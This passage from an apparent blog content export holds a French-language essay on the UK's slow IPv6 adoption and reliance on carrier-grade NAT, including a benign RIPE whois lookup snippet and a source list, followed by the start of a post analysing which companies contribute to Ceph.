appears to dominate IPv6 adoption rates, namely government support » — un facteur semble dominer les taux d\u0026rsquo;adoption d\u0026rsquo;IPv6, à savoir le soutien du gouvernement —, et « countries with hands-off governments fall behind » — les pays aux gouvernements non interventionnistes prennent du retard.\nQuatorze ans plus tard, c\u0026rsquo;est exactement ce qui est arrivé. Le UK IPv6 Council tourne encore, mais un forum n\u0026rsquo;est pas un levier.\nComparez les États-Unis, où le mémorandum M-21-07 de l\u0026rsquo;OMB exigeait que 80 % des actifs fédéraux compatibles IP soient uniquement IPv6 pour la fin de l\u0026rsquo;exercice budgétaire 2025. Les agences l\u0026rsquo;ont raté. Elles avaient quand même un chiffre à rater, une date pour le rater, et quelqu\u0026rsquo;un qui doit se lever et expliquer le raté. Ici il n\u0026rsquo;y a rien à rater, donc personne n\u0026rsquo;a jamais eu à expliquer quoi que ce soit.\nLe gouvernement britannique n\u0026rsquo;exige pas IPv6 dans son propre achat d\u0026rsquo;aucune façon significative. L\u0026rsquo;Ofcom ne le mesure pas. Aucun régulateur ne le demande. Et donc, comme prévu, www.nhs.uk et www.hmrc.gov.uk ne l\u0026rsquo;ont pas, tandis que www.gov.uk l\u0026rsquo;a. Et www.gov.uk ne l\u0026rsquo;a que parce qu\u0026rsquo;il est servi via Fastly, qui a allumé IPv6 il y a des années pour le compte de quelqu\u0026rsquo;un d\u0026rsquo;autre.\nJ\u0026rsquo;ai écrit avant sur ce qui arrive quand personne ne tient de contrat sur une industrie — les mécanismes qui marchent s\u0026rsquo;avèrent être ceux que quelqu\u0026rsquo;un doté de ressources choisit d\u0026rsquo;actionner, et si personne ne le fait, rien n\u0026rsquo;arrive pendant une décennie. IPv6 au Royaume-Uni est ce schéma encore, sans même un vote de membres à la fin.\nEt ce n\u0026rsquo;est pas que personne n\u0026rsquo;a remarqué L\u0026rsquo;absence d\u0026rsquo;une exigence serait décevante si ça avait échappé à l\u0026rsquo;attention. Ce ne fut pas le cas.\nL\u0026rsquo;État a compris ce que fait le NAT à l\u0026rsquo;échelle opérateur et a légiféré à son sujet. Le Parlement a regardé le problème droit dans les yeux, l\u0026rsquo;a compris assez bien pour écrire une loi dessus, et a écrit la loi qui accommode la casse. « Exiger d\u0026rsquo;eux qu\u0026rsquo;ils déploient le protocole qui la supprime » n\u0026rsquo;a soit jamais été soulevé, soit été soulevé et abandonné.\nDonc nous sommes un pays dont la position déclarée est que l\u0026rsquo;attribution IP compte assez pour une législation antiterroriste, et qui ne demande pas à un seul fournisseur de faire la chose gratuite qui la restaure. Fraude, prise de contrôle de compte, harcèlement, menaces de mort, signalements d\u0026rsquo;abus d\u0026rsquo;enfants et terrorisme arrivent tous au réseau d\u0026rsquo;accès en posant la même question, et pour beaucoup de connexions britanniques la réponse honnête est « un de ces plusieurs centaines de foyers ».\nLe National Cyber Security Centre fait partie du GCHQ et publie des recommandations sur un grand nombre de choses. Il n\u0026rsquo;exige IPv6 de personne. Personne en Grande-Bretagne ne le fait.\nwww.ncsc.gov.uk et www.gchq.gov.uk répondent bien tous deux en IPv6, cela dit. L\u0026rsquo;Internet Watch Foundation aussi. Les trois parce qu\u0026rsquo;ils siègent derrière Cloudflare, qui l\u0026rsquo;a allumé pour tout le monde par défaut. www.police.uk n\u0026rsquo;en a aucun.\nEt ce que ça veut dire pour les dix-sept Dix-sept des quarante fournisseurs de ce billet vendent des connexions sans IPv6, et environ la moitié des bâtisseurs de fibre complète mettent des clients derrière un NAT à l\u0026rsquo;échelle opérateur.\nJe n\u0026rsquo;accuse aucun d\u0026rsquo;eux d\u0026rsquo;un crime, et personne dans ces bâtiments n\u0026rsquo;en espère un.\nMais une connexion derrière un NAT à l\u0026rsquo;échelle opérateur sans IPv6 ne peut pas être résolue à un abonné. Ce n\u0026rsquo;est pas contesté. L\u0026rsquo;IETF l\u0026rsquo;a couché sur le papier en 2011, Europol en 2016 et 2017, le Parlement en 2015 — tout ça publié avant que l\u0026rsquo;essentiel de cet équipement ne soit acheté. L\u0026rsquo;alternative était gratuite, et disponible tout le temps.\nC\u0026rsquo;est ce que « on s\u0026rsquo;occupera d\u0026rsquo;IPv6 un jour » veut dire, une fois qu\u0026rsquo;on le suit jusqu\u0026rsquo;au bout.\nQue faire, concrètement Court, parce que rien n\u0026rsquo;est dur. C\u0026rsquo;est tout l\u0026rsquo;intérêt du billet.\nSi vous achetez de la connectivité : mettez IPv6 dans l\u0026rsquo;appel d\u0026rsquo;offres comme une exigence éliminatoire, pas un bonus. Demandez une double pile native et un préfixe délégué, par écrit, et demandez de quelle taille.\nSi la réponse est un seul /64, continuez de demander. Le RFC 6177 a tué celle-là en 2011 : remettre à un site résidentiel un /64 « precludes the expectation that even home sites will grow to support multiple subnets » — exclut l\u0026rsquo;attente que même les sites résidentiels croissent pour supporter plusieurs sous-réseaux —, et il est « strongly intended that even home sites be given multiple subnets worth of space, by default » — fortement voulu que même les sites résidentiels reçoivent l\u0026rsquo;équivalent de plusieurs sous-réseaux d\u0026rsquo;espace, par défaut.\nCe qu\u0026rsquo;il n\u0026rsquo;a pas fait, c\u0026rsquo;est nommer une taille. Il a retiré l\u0026rsquo;ancien /48 systématique, dit que le choix « is an issue for the operational community » — est une question pour la communauté opérationnelle —, et lâché un exemple concret au passage : un défaut résidentiel « of less than /48, such as a /56 » — de moins d\u0026rsquo;un /48, tel qu\u0026rsquo;un /56.\nLes opérateurs y ont répondu eux-mêmes. Le RIPE-690 est leur propre document de pratique et il est net. Un /48 chacun si vous voulez un plan simple. Un /48 pour les entreprises et un /56 pour le résidentiel si vous voulez un plan pragmatique. Tout plus long qu\u0026rsquo;un /56 est « strongly discouraged » — fortement déconseillé —, et un /64 ne se conforme pas aux normes IPv6 et cassera les LAN des clients.\nDonc le plancher est un /56, et c\u0026rsquo;est le propre chiffre de l\u0026rsquo;IETF plutôt que la préférence de quiconque. Sky en remet un à chaque abonné depuis 2016. Zen distribue un /48, ce qui fait 65 536. Une entreprise ne devrait pas accepter moins qu\u0026rsquo;un /48.\nSi un fournisseur vous dit qu\u0026rsquo;un /48 pour une maison est extravagant, un FAI britannique le fait depuis des années pendant qu\u0026rsquo;ils travaillaient encore sur leur position.\nSi vous faites tourner un numéro d\u0026rsquo;AS : vous détenez probablement déjà un /29 que vous n\u0026rsquo;avez jamais annoncé. Vérifiez.\nAS=AS20712 # your AS number ORG=$(whois -h whois.ripe.net \u0026#34;$AS\u0026#34; | awk \u0026#39;/^org:/{print $2; exit}\u0026#39;) # what IPv6 the registry has already given you whois -h whois.ripe.net -- \u0026#34;-i org $ORG\u0026#34; | grep -i \u0026#39;^inet6num\u0026#39; # what you are actually announcing of it whois -h whois.ripe.net -- \u0026#34;-i origin $AS\u0026#34; | grep -i \u0026#39;^route6\u0026#39; Si la première commande imprime un préfixe et la seconde n\u0026rsquo;imprime rien, vous êtes l\u0026rsquo;un des 463.\nAnnoncez-le, mettez votre bordure et un VLAN interne en double pile, et posez un AAAA sur un service public. C\u0026rsquo;est une quinzaine de travail pour un ingénieur et ça transforme votre organisation d\u0026rsquo;une statistique dans la table ci-dessus en une qui a commencé.\nSi vous faites tourner un site web : vérifiez un enregistrement AAAA. Si vous êtes derrière un CDN, c\u0026rsquo;est probablement un interrupteur que vous pouvez allumer cet après-midi sans coût. S\u0026rsquo;il est éteint, quelqu\u0026rsquo;un l\u0026rsquo;a éteint.\nSi vous vendez des services gérés : écrivez IPv6 dans la norme de construction et le gabarit de conception de bas niveau, une fois, et chaque client après ça l\u0026rsquo;obtient par défaut. Personne n\u0026rsquo;a à le demander, parce que personne ne demande TLS non plus.\nSi vous êtes un ingénieur qui ne l\u0026rsquo;a jamais fait : montez un labo ce soir. Environ 90 % de mon propre trafic passe par IPv6 natif et c\u0026rsquo;est la chose la moins mouvementée de mon réseau. Prenez un tunnel ou un VPS avec un /64, posez des adresses sur des choses, cassez-le, réparez-le. Ça prend une soirée pour cesser d\u0026rsquo;être effrayant et c\u0026rsquo;est la chose la moins chère que vous puissiez faire à votre carrière cette année.\nLes questions que je ne peux pas trancher Tout ce qui précède je peux vous le montrer. Cette partie est le morceau que je continue de retourner, et je n\u0026rsquo;ai de réponse propre à aucun d\u0026rsquo;eux.\nPourquoi certains et pas d\u0026rsquo;autres ? C\u0026rsquo;est celle qui compte, et les données la rendent plus étrange plutôt que plus claire.\nSky et Virgin Media ont vendu du haut débit au même pays, sous le même régulateur, au même moment. L\u0026rsquo;un a fini en 2016. L\u0026rsquo;autre dit « quand nous serons prêts » depuis 2010. Sainsbury\u0026rsquo;s et Tesco siègent sur le même CDN, sur un produit où la double pile est le défaut, et l\u0026rsquo;un a IPv6 et l\u0026rsquo;autre non. La Norvège et la Grande-Bretagne achètent aux mêmes fournisseurs et 66,9 % des réseaux norvégiens portent IPv6 contre 42,3 % des nôtres.\nChaque facteur externe que vous pourriez blâmer est tenu constant dans ces paires. Même pays, mêmes fournisseurs, même matériel, mêmes clients, même décennie, même régulateur, même argent. Et les résultats sont opposés.\nDonc la cause n\u0026rsquo;est pas dans les circonstances. Elle est à l\u0026rsquo;intérieur du bâtiment. Quelque part chez Sky il y avait une personne qui en a fait son affaire et a continué d\u0026rsquo;en faire son affaire pendant trois ans. Dans les autres endroits il n\u0026rsquo;y en avait pas, ou il y en avait une et personne au-dessus d\u0026rsquo;elle ne s\u0026rsquo;en souciait. C\u0026rsquo;est toute la variable, et elle n\u0026rsquo;est pas technique.\nCe qui est une réponse inconfortable, parce que vous ne pouvez pas l\u0026rsquo;acheter, et vous ne pouvez pas la mettre dans un document de stratégie.\nEst-ce la formation ? En partie, et moins que vous ne le penseriez.\nRegardez de nouveau les 463 structures détenant un IPv6 qu\u0026rsquo;elles n\u0026rsquo;ont jamais annoncé. Quelqu\u0026rsquo;un dans chacun de ces bâtiments en savait assez pour savoir qu\u0026rsquo;il en avait besoin, savait à qui demander, a rempli le formulaire, et l\u0026rsquo;a fait émettre. La connaissance était là et le suivi n\u0026rsquo;y était pas.\nLa formation amène un ingénieur au point d\u0026rsquo;être capable. Elle ne l\u0026rsquo;amène pas au point d\u0026rsquo;y être obligé. Personne n\u0026rsquo;a jamais eu une mauvaise évaluation pour ne pas avoir déployé IPv6. Personne n\u0026rsquo;a jamais perdu un contrat dessus. Jusqu\u0026rsquo;à ce qu\u0026rsquo;une de ces choses soit vraie, la formation va sur la pile avec tout le reste que quelqu\u0026rsquo;un a appris à un cours et n\u0026rsquo;a jamais utilisé.\nCombien de temps jusqu\u0026rsquo;à ce que nous y soyons tous ? Je peux mettre un chiffre sur celle-ci, et il est pire que je m\u0026rsquo;y attendais.\nGoogle mesure la part de ses propres visiteurs arrivant en IPv6 depuis 2008. En prenant mi-août chaque année, pour que ce soit comparable :\nL'adoption mondiale d'IPv6 décélère avant la moitié L'adoption mondiale d'IPv6 ralentit, elle n'accélère pas Part des propres visiteurs de Google en IPv6 natif, mi-août chaque année. Source : statistiques IPv6 de Google. 0 % 10 % 20 % 30 % 40 % 50 % 2017 18,1 % 2018 2019 2020 2021 2022 2023 2024 2025 2026 48,1 % Points ajoutés cette année-là +3,6 +5,0 +4,4 +3,3 +4,3 +3,3 +2,3 +2,6 +1,1 Cette année a ajouté\u0026#160;1,1 point, le plus petit gain en une décennie, contre 6,6 points dans l'année jusqu'à août 2017. La mesure par Google de ses propres visiteurs arrivant en IPv6 natif, prise mi-août chaque année pour que ce soit comparable. La ligne est le niveau. Les barres sont ce que chaque année a ajouté. Nous n\u0026rsquo;accélérons pas vers la ligne d\u0026rsquo;arrivée. Nous décélérons avant la moitié. Cette année a ajouté 1,1 point, le plus petit gain en une décennie, contre 6,6 points dans l\u0026rsquo;année jusqu\u0026rsquo;à août 2017.\nTirez une ligne droite des trois dernières années et le monde atteint 100 % en 2049. Tirez-la de cette seule année et c\u0026rsquo;est 2073. Ni l\u0026rsquo;une ni l\u0026rsquo;autre n\u0026rsquo;est une prévision. Une courbe qui s\u0026rsquo;aplatit n\u0026rsquo;atteint pas le sommet par dérive du tout. Elle stagne quelque part dans les soixante et le reste ne bouge jamais, parce que les réseaux qui ne l\u0026rsquo;ont pas fait d\u0026rsquo;ici là sont ceux que rien n\u0026rsquo;allait jamais faire bouger.\nJ\u0026rsquo;adorerais avoir tort là-dessus. Le chiffre est devenu plus petit chaque année où je l\u0026rsquo;ai regardé.\nFaut-il une loi ? C\u0026rsquo;est celle sur laquelle j\u0026rsquo;ai le plus hésité, et j\u0026rsquo;ai atterri sur « pas la loi que les gens saisissent ».\nContre un mandat : les Américains ont voté le plus fort que quiconque ait, et l\u0026rsquo;ont raté. Une échéance n\u0026rsquo;est pas un déploiement.\nPour un : le verdict d\u0026rsquo;adieu de 6UK en 2012 était que les incitations du marché libre sont insuffisantes et que les pays qui prennent du retard sont ceux aux gouvernements non interventionnistes. Quatorze ans de données britanniques leur donnent raison.\nEt voici la partie qui tranche. Ce pays a déjà légiféré sur ce problème — il a juste légiféré dans le mauvais sens. Nous étions prêts à légiférer pour accommoder le partage d\u0026rsquo;adresses. Nous n\u0026rsquo;avons jamais été prêts à légiférer pour le supprimer.\nCe que je demanderais n\u0026rsquo;est pas une interdiction et pas une cible, mais l\u0026rsquo;instrument belge décrit plus haut : une limite dure au nombre d\u0026rsquo;abonnés pouvant partager une adresse. Il n\u0026rsquo;a besoin d\u0026rsquo;aucune nouvelle adresse, il ne ferme personne hors du marché, et il agit sur l\u0026rsquo;économie plutôt que sur les bonnes intentions de quiconque.\nUn mandat en soi produit une chose utile, et ce n\u0026rsquo;est pas le déploiement. C\u0026rsquo;est une personne nommée qui doit expliquer le raté. Nous n\u0026rsquo;en avons jamais eu.\nComment sommes-nous passés à IPv4 si vite, alors ? Parce que quelqu\u0026rsquo;un pouvait éteindre l\u0026rsquo;ancien.\nLa comparaison est exacte, et presque personne ne la fait. L\u0026rsquo;ARPANET faisait tourner le Network Control Program, qui adressait les hôtes en 8 bits — 6 pour le nœud et 2 pour l\u0026rsquo;hôte, donc 64 nœuds de 4 machines, 256 hôtes au total. À la fin des années 1970 ce n\u0026rsquo;était manifestement pas assez, et la réponse a été un nouveau protocole avec une adresse plus grande. Le même problème que nous avons maintenant, quarante et quelques années plus tôt.\nJon Postel a publié le plan de transition en novembre 1981. En mars 1982 le Department of Defense américain a déclaré TCP/IP sa norme officielle. Les deux protocoles tournaient côte à côte, et le 1er janvier 1983 NCP a été éteint. Les hôtes qui n\u0026rsquo;avaient pas converti ont perdu l\u0026rsquo;accès au réseau. Vint Cerf se souvient de badges « I survived the TCP/IP switchover » — j\u0026rsquo;ai survécu à la bascule TCP/IP — portés ensuite par les gens qui l\u0026rsquo;ont traversée.\nQuatorze mois du plan au jour du drapeau.\nMaintenant comptez ce qui a rendu ça possible. Environ deux cents hôtes, pas quatre milliards. Un réseau, pas tous les réseaux. Un financeur qui possédait chaque machine dessus et payait les salaires de tous ceux qui y touchaient. Une seule organisation capable de fixer une date, et — c\u0026rsquo;est le morceau qui compte — capable de faire cesser de marcher l\u0026rsquo;ancien protocole à cette date.\nAucune de ces choses n\u0026rsquo;existe maintenant, et c\u0026rsquo;est toute la réponse. IPv4 n\u0026rsquo;a pas gagné parce que la migration était facile. Il a gagné parce qu\u0026rsquo;il y avait quelqu\u0026rsquo;un en position de mettre fin à l\u0026rsquo;argument.\nPersonne n\u0026rsquo;est dans cette position aujourd\u0026rsquo;hui. Il n\u0026rsquo;y a pas d\u0026rsquo;autorité qui puisse éteindre IPv4, et il n\u0026rsquo;y en aura jamais. Ce qui veut dire que cette transition ne peut pas être finie comme la dernière l\u0026rsquo;a été — elle ne peut être finie que par plusieurs milliers de structures décidant chacune, seule, de s\u0026rsquo;en donner la peine.\nSur les chiffres de cette année, ça atterrit en 2073. Quatre-vingt-dix ans après le jour du drapeau.\nNous faisions les choses proprement, avant Une norme est quelque chose qu\u0026rsquo;on tient quand personne ne vérifie. C\u0026rsquo;est tout. Il n\u0026rsquo;y a pas d\u0026rsquo;inspecteur pour ça, pas de certificat, pas d\u0026rsquo;auditeur qui se présente et demande à voir votre table de routage, et vingt ans ont maintenant montré exactement ce que ce pays fait d\u0026rsquo;une obligation que personne n\u0026rsquo;impose.\nOn la laisse tomber, et puis on achète quelque chose pour couvrir l\u0026rsquo;écart.\nRien de tout ça n\u0026rsquo;est un échec technique et je ne prétendrai pas que c\u0026rsquo;en est un. La Grande-Bretagne peut faire ce travail. Les compétences sont là, le matériel est là, l\u0026rsquo;espace d\u0026rsquo;adressage est émis et posé à attendre dans des comptes que nous payons déjà. Ce qui est parti, c\u0026rsquo;est l\u0026rsquo;instinct de faire un travail proprement parce que c\u0026rsquo;est le travail — sans être payé en plus pour ça, et sans quelqu\u0026rsquo;un debout au-dessus de vous vous y forçant.\nDemandez ce qui l\u0026rsquo;arrête réellement et vous atterrissez sur l\u0026rsquo;argent, mais pas au sens où les gens l\u0026rsquo;entendent.\nUn NAT à l\u0026rsquo;échelle opérateur a un bon de commande. Il a un fournisseur, un devis, une remise, un contrat de support et une date de renouvellement. Il va dans le plan de capital, il se déprécie sur cinq ans, et le nom de quelqu\u0026rsquo;un siège sur l\u0026rsquo;argument commercial. Le livrer est une chose visible qu\u0026rsquo;un manager peut montrer du doigt dans une évaluation.\nIPv6 n\u0026rsquo;a rien de ça. Pas de facture, pas de fournisseur, pas de renouvellement, rien à mettre dans un budget et rien que quiconque puisse être vu avoir acheté. C\u0026rsquo;est juste du travail, fait proprement, par des gens qui savent ce qu\u0026rsquo;ils font, pour aucun retour ce trimestre. Personne dans cette industrie n\u0026rsquo;a jamais été promu pour une chose qui n\u0026rsquo;est jamais apparue dans un budget.\nÀ ce titre l\u0026rsquo;option la moins chère perd, chaque année, pendant vingt ans. Pas parce que quelqu\u0026rsquo;un l\u0026rsquo;a pesée et a mal choisi, mais parce qu\u0026rsquo;une culture de gestion a grandi ici qui ne peut voir que les parties de l\u0026rsquo;ingénierie qui arrivent avec un prix dessus. Bon marché n\u0026rsquo;a jamais été l\u0026rsquo;obstacle. Non facturable l\u0026rsquo;était. C\u0026rsquo;est à ça que ça ressemble quand une entreprise cesse de se soucier des normes et se met à ne se soucier que de ce qu\u0026rsquo;elle peut mettre sur une facture, et c\u0026rsquo;est un choix fait par des gens payés assez bien pour savoir mieux.\nPuis il y a ce qu\u0026rsquo;ils nous ont vendu à la place d\u0026rsquo;une adresse, ce qui devrait mettre les gens plus en colère que ça ne le fait.\nL\u0026rsquo;internet a été bâti pour que n\u0026rsquo;importe quelle machine puisse atteindre n\u0026rsquo;importe quelle autre machine directement. Pas un détail de la conception. La conception. C\u0026rsquo;est pourquoi n\u0026rsquo;importe qui avec une connexion et une idée pouvait mettre en ligne quelque chose que le monde entier pouvait atteindre. Mettez un client derrière une adresse partagée et c\u0026rsquo;est parti. Vous pouvez demander, mais vous ne pouvez jamais répondre. Vous êtes un consommateur des services des autres, en permanence, et jamais un fournisseur des vôtres.\nCe n\u0026rsquo;est pas un effet de bord malheureux d\u0026rsquo;une pénurie. C\u0026rsquo;est une ré-architecture, et elle arrange tous ceux qui la vendent. La caméra qui a maintenant besoin du cloud du fabricant. L\u0026rsquo;accès distant qui a maintenant besoin du relais de quelqu\u0026rsquo;un. La chose que les gens faisaient tourner à la maison qui est maintenant un abonnement mensuel. Chacune de celles-là est quelqu\u0026rsquo;un qui possédait une chose converti en quelqu\u0026rsquo;un qui la loue, et une connexion discrètement rétrogradée d\u0026rsquo;une place sur l\u0026rsquo;internet à une fenêtre sur celui de quelqu\u0026rsquo;un d\u0026rsquo;autre.\nNous avons donné le milieu de l\u0026rsquo;internet à une poignée d\u0026rsquo;entreprises d\u0026rsquo;un autre continent, puis nous sommes restés là à avoir l\u0026rsquo;air surpris qu\u0026rsquo;il ait fini centralisé. Vous ne pouvez pas être autonome sur une connexion qui ne vous laisse rien héberger.\nL\u0026rsquo;autonomie est la partie sur laquelle je reviens sans cesse, parce que ce pays a cessé de l\u0026rsquo;attendre de lui-même. L\u0026rsquo;instinct maintenant est d\u0026rsquo;attendre. Un fournisseur, un régulateur, une subvention, un mandat, un client qui appelle et demande. Aucun de ceux-là n\u0026rsquo;arrive. Il n\u0026rsquo;y a pas de signal de marché en chemin, pas de politique en rédaction, pas d\u0026rsquo;échéance que quiconque aura à expliquer d\u0026rsquo;avoir ratée.\nCe qui la laisse là où elle a été tout le temps. Une allocation gratuite, posée dans un compte de registre avec le nom de votre entreprise dessus, et une quinzaine entre vous et avoir fait le travail correctement.\nPersonne ne vient vous y obliger. C\u0026rsquo;est exactement pourquoi ça compte.\nVous pouvez vérifier si c\u0026rsquo;est votre bâtiment. Le script est dans le téléchargement en haut du billet.\nSources Tout ce qui suit a été consulté le 27 août 2026.\nLes données dont j\u0026rsquo;ai mesuré. Chaque chiffre de moi vient de celles-ci. Elles sont gratuites, publiques, et vous pouvez répéter le tout en un après-midi.\nFichiers de délégation des registres, un par registre régional : RIPE NCC, APNIC, ARIN, LACNIC, AFRINIC. Celui de RIPE a été généré le 26 août 2026, le reste le 27 août 2026. Vidages de la table de routage RIPE RIS, riswhoisdump.IPv4.gz et riswhoisdump.IPv6.gz, générés à 18 h 06 UTC le 27 août 2026. Interface REST de la base de données RIPE, pour l\u0026rsquo;organisation derrière chaque numéro d\u0026rsquo;AS. Le DNS public, pour le balayage AAAA, recoupé contre un second résolveur. Les mesures d\u0026rsquo;autres gens.\nStatistiques IPv6 de Google — IPv6 natif par pays parmi les propres visiteurs de Google, chiffres au 25 août 2026. APNIC sur la performance d\u0026rsquo;IPv6 et sur les idées reçues de sécurité d\u0026rsquo;IPv6 — l\u0026rsquo;image mesurée plutôt que celle des forums. Prix du marché du transfert IPv4, premier semestre 2026, résumant l\u0026rsquo;analyse de CircleID des transactions à prix public. Normes. Les rustines, dans l\u0026rsquo;ordre où elles ont été publiées.\nRFC 3056 — tunnelage automatique 6to4, février 2001. RFC 3701 — le plan de retrait du 6bone, fixant son extinction au 6 juin 2006. RFC 7526 — dépréciant les relais anycast de 6to4 et les passant en Historique, mai 2015. RFC 4864 — ce que le NAT donne et ne donne pas, et pourquoi le pare-feu que les gens croient avoir est « un artefact arbitraire », 2007. RFC 4941, RFC 7217 et RFC 8981 — adresses temporaires et opaques, ce qui est pourquoi l\u0026rsquo;adresse IPv6 d\u0026rsquo;un appareil n\u0026rsquo;est pas un identifiant stable. RFC 801 — le plan de transition NCP/TCP de Jon Postel, novembre 1981, fixant le jour du drapeau au 1er janvier 1983. RFC 1883 — la spécification IPv6 originale, décembre 1995. RFC 6333 — DS-Lite, 2011. RFC 6056 — randomisation du port source, la défense que le CGN affaiblit, 2011. RFC 6269 — Issues with IP Address Sharing, juin 2011. Le propre catalogue de l\u0026rsquo;IETF de ce que le CGN casse, y compris la journalisation d\u0026rsquo;abus, les mises au coin, le blocage, la randomisation de ports et la traçabilité. RFC 791 et RFC 8200 — les deux formats d\u0026rsquo;en-tête, et pourquoi IPv6 a laissé tomber la somme de contrôle, la longueur variable et la fragmentation en vol. RFC 6583 — épuisement du cache de découverte de voisins sur un /64, et la division plan de retransmission contre plan de contrôle qui décide ce qui coûte du CPU à un routeur. RFC 6177 — combien d\u0026rsquo;espace d\u0026rsquo;adressage un site terminal devrait obtenir, 2011. Rend obsolète le /48 systématique du RFC 3177, écarte le /64 unique, et remet le chiffre réel à la communauté opérationnelle. RIPE-690 — la propre réponse des opérateurs européens à cette question, octobre 2017 : /48 ou /56 à un utilisateur final, jamais un /64. RFC 6302 — journaliser le port source, l\u0026rsquo;horodatage et le protocole, 2011. RFC 6598 — espace d\u0026rsquo;adressage partagé, 2012. RFC 6877 — 464XLAT, 2013. RFC 6888 — exigences du NAT à l\u0026rsquo;échelle opérateur, 2013. RFC 7021 — l\u0026rsquo;impact du NAT à l\u0026rsquo;échelle opérateur sur les applications, 2013. RFC 7422 — correspondance déterministe pour rabattre la journalisation du CGN, 2014. RFC 7597 et RFC 7599 — MAP-E et MAP-T, 2015. World IPv6 Launch, 6 juin 2012. Le tunnel broker gratuit de Hurricane Electric — là où beaucoup d\u0026rsquo;entre nous ont eu IPv6 pendant que nos propres FAI n\u0026rsquo;en avaient aucun. Droit et politique.\nCyber Security and Resilience (Network and Information Systems) Bill 2024-26 — note de la House of Commons Library sur le projet de loi qui tirerait les prestataires de services gérés à l\u0026rsquo;intérieur des NIS Regulations. Counter-Terrorism and Security Act 2015, article 21 — conservation des données internet pertinentes, et ses notes explicatives. Europol, octobre 2017 — les forces de l\u0026rsquo;ordre appelant à la fin du NAT à l\u0026rsquo;échelle opérateur, avec les chiffres de 90 % mobile et 50 % fixe. Mémorandum M-21-07 de l\u0026rsquo;OMB — l\u0026rsquo;exigence fédérale américaine uniquement IPv6, novembre 2020. Online Safety Act 2023. Europol EC3, Carrier Grade NAT and crime attribution online — la présentation de Gregory Mounier à RIPE 74, avec l\u0026rsquo;enquête d\u0026rsquo;août 2016 des forces de l\u0026rsquo;ordre de l\u0026rsquo;UE, les exemples de cas, et le code de conduite belge et ses résultats. Données de la CyberTipline du NCMEC — volumes et renvois du rapport 2025. A Multi-perspective Analysis of Carrier-Grade NAT Deployment, ACM IMC 2016 — la mesure indépendante de l\u0026rsquo;usage du CGN par les fournisseurs mobiles et fixes. Barème de RIPE NCC 2026 — 1 800 € par compte LIR, forfait. Fournisseurs, dans leurs propres mots.\nAkamai, juin 2022 — la double pile est le défaut et les clients doivent s\u0026rsquo;en désinscrire. AWS, 2023 — la charge IPv4 publique, et pourquoi. Reportage et dossier.\nLe propre récit de Sky sur RIPE Labs — comment cinq millions d\u0026rsquo;utilisateurs ont été déplacés. ISPreview, septembre 2016 — Sky achevant le déploiement. CircleID, septembre 2016 — le Jim Bound IPv6 Award. ISPreview, décembre 2012 — 6UK se dissolvant. Enquête altnet IPv6 et CGNAT d\u0026rsquo;ISPreview — avril 2024, mise à jour en mars 2025. ISPreview sur l\u0026rsquo;essai IPv6 de Plusnet, novembre 2023 — l\u0026rsquo;essai de 2011, le lancement de 2020 raté, et la note que BT et Plusnet livrent des routeurs presque identiques. Un traqueur maintenu par la communauté des réseaux mobiles britanniques et d\u0026rsquo;IPv6 — remonté par les utilisateurs plutôt qu\u0026rsquo;officiel, et la source pour savoir quels réseaux mobiles distribuent IPv6 aujourd\u0026rsquo;hui. havevirginmediaenabledipv6yet.co.uk — la chronologie de Virgin Media, de 2010 à maintenant. Internet Society, septembre 2016 — Sky à 90 % de sa base, chaque abonné recevant un /56. Internet Society, septembre 2016 — le récit de Ron Broersma de la migration NCP vers TCP/IP de 1983, y compris la limite de 256 hôtes et ce qui est arrivé à quiconque a raté l\u0026rsquo;échéance. The Register, janvier 2013 — trente ans après le jour du drapeau, et les badges que les gens ont portés ensuite. UK IPv6 Council. ","permalink":"https://blogs.damiendye.uk/fr/networking/we-never-ran-out-of-addresses/","summary":"IPv6 est fini, gratuit et allumé par défaut dans chaque système d\u0026rsquo;exploitation depuis près de vingt ans. La réponse du Royaume-Uni a été le NAT à l\u0026rsquo;échelle opérateur, une loi sur la journalisation, et 5 £ par mois pour vous rendre l\u0026rsquo;adresse que vous aviez avant. J\u0026rsquo;ai compté chaque réseau britannique de la table de routage mondiale pour découvrir qui a réellement allumé IPv6 — 1 200 d\u0026rsquo;entre eux ne l\u0026rsquo;ont pas fait, et 463 de ceux-là sont assis sur de l\u0026rsquo;espace d\u0026rsquo;adressage qu\u0026rsquo;ils ont demandé et jamais utilisé.","title":"Nous n'avons jamais manqué d'adresses. Nous avons manqué d'effort."},{"content":"Divulgation d\u0026rsquo;entrée : je travaille pour croit, qui vend du Ceph et apparaît dans les tableaux ci-dessous. J\u0026rsquo;ai essayé d\u0026rsquo;être aussi critique envers nous qu\u0026rsquo;envers tout le monde. Chaque nombre vient de l\u0026rsquo;historique git public, des fichiers de Ceph lui-même, ou d\u0026rsquo;une déclaration publique nommée — tout est reproductible, tout est listé dans les références à la fin.\nCeph tient debout beaucoup de matériel auquel personne ne pense. Des clusters Proxmox, OpenStack, Kubernetes, des laboratoires de recherche nationaux, des banques, des opérateurs, des accélérateurs de particules. Vingt ans après, c\u0026rsquo;est toujours la première réponse quand quelqu\u0026rsquo;un veut du bloc, du fichier et de l\u0026rsquo;objet depuis un seul cluster bâti sur du matériel ordinaire.\nAlors qui l\u0026rsquo;écrit, qui le maintient, et qui le fait tourner ?\nPas « qui est sur la liste de diffusion » ni « qui a parlé à Cephalocon ». J\u0026rsquo;ai cloné ceph/ceph, pris chaque commit hors fusion écrit dans les dix ans jusqu\u0026rsquo;au 2026-08-27, et projeté les auteurs sur des entreprises en utilisant le .organizationmap de Ceph lui-même plus un jeu documenté de corrections. Puis j\u0026rsquo;ai pris le fichier de gouvernance de Ceph et remonté les 38 membres du Steering Committee jusqu\u0026rsquo;à l\u0026rsquo;employeur de leur propre adresse publiée. Puis je suis allé chercher qui dit publiquement le faire tourner.\nÇa fait 69 613 commits de 1 718 personnes réparties sur 478 organisations. C\u0026rsquo;est un meilleur tableau que je ne l\u0026rsquo;attendais en commençant, et ce n\u0026rsquo;est pas celui que j\u0026rsquo;étais parti écrire.\nLa décennie Rang Organisation Commits Part 1 Red Hat 42 354 60,8 % 2 SUSE 6 191 8,9 % 3 IBM 4 308 6,2 % 4 Intel 2 066 3,0 % 5 ZTE 1 176 1,7 % 6 QiAnXin 900 1,3 % 7 Ceph Foundation 691 1,0 % 8 Mirantis 566 0,8 % 9 IONOS 498 0,7 % 10 China Mobile 397 0,6 % 11 Proxmox 254 0,4 % 12 croit 242 0,3 % 13 Cloudbase Solutions 239 0,3 % 14 Bloomberg 231 0,3 % 15 XSKY 225 0,3 % — Clyso 181, Huawei 159, Inspur 155, Cafe Bazaar 130, CERN 121, SK Telecom 120, UMCloud 106, Deutsche Telekom 105, EasyStack 103, ISCAS 99, Tencent 83, 